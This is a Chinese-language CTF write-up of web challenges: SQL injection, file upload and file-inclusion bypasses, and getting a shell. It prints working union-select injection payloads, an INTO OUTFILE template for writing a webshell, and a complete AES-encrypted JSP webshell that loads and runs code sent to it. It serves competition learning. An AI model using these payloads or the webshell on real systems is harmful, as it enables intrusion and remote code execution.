0x00 前言
又是当废物躺了一天的比赛,10个web做了3个,其余6个都是队友做的,还有一个sql1最后也没做出来。也是第一次在ctf比赛中获得第一,纪念一下,感谢队友带飞。wp写的较为简陋。

0x01 赛题
签到
就一个前端验证,抓包改后缀就行
连上shell得到flag
命令执行基础
直接用 | 来绕过,成功命令执行
你能爆破吗?
sqli-libs 21关原题
使用admin admin登录后 查看cookie有个base64编码后的用户名,结合提示知道是注入,将注入语句base64编码后传入。经过测试发现没有过滤,测试出字段数为3。
将下列语句base64后传入,查表名:
0" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user()#
将下列语句base64后传入,查列名:
0" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()#
查flag
文件上传
经过fuzz发现,双写<?和eval可以绕过他的文本替换,然后pht可以上传
然后访问发现看不到我们写入的一句话,说明解析成功
通过php的system执行命令,得到flag
文件包含getshell
查看源码,发现了lfi.txt
查看lfi.txt,发现可以文件包含
准备一个zip文件,里面是s.php,具体如下,并且重命名为s.txt,然后上传
通zip协议成功执行命令

成绩单
好像是bugku的原题吧,太简单了就不写了
最后查询flag:
0' union select 1,2,3,flag from fl4g#
小猫咪踩灯泡
直接拿poc打,写入一句话
1 | <% import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%> |
然后访问木马,发现写入成功
连上一句话,得到flag
分析代码获得flag
可能是非预期?反正我们7字符5字符都没成功。
写入shell基本是不成功的,因为有index.php的干扰,所以用cat命令读上一级目录的key,先写入cat

然后看到key是在上层目录

然后直接使用cat来读取 * ../*

SQL注入1
这里听群里的师傅说是limit注入写文件,查了一下官方文档

在设置了secure_file_priv的情况下,就可以直接写shell了,猜一个路径(通常就是/var/www/html)
贴几个payload。
1 | INTO OUTFILE '物理路径' lines terminated by (一句话hex编码) |
至于某群友说低版本才行,经过查阅文档发现都行,上图就是mysql8.0的文档,所以总结就是只要能够写文件,就能limit后面进行注入(有错误的话欢迎师傅们指正)。
以下为测试的两个版本,只需要开启secure-file-priv以及有写的权限就可以进行limit写shell了

SQL注入2
目录扫描到wwwroot.zip,发现过滤的比较死,猜测账号密码图片都在同一个数据库表中,脚本如下。
1 | import requests |
二十位的hash?可能是dedecms,然后去掉前三位跟后三位然后somd5解密

然后登陆拿到flag
0x02 总结
总体来说还算比较简单,早期起来晚了,要不然还能抢几个题,等我起来一上号队友都已经在屠榜了(淦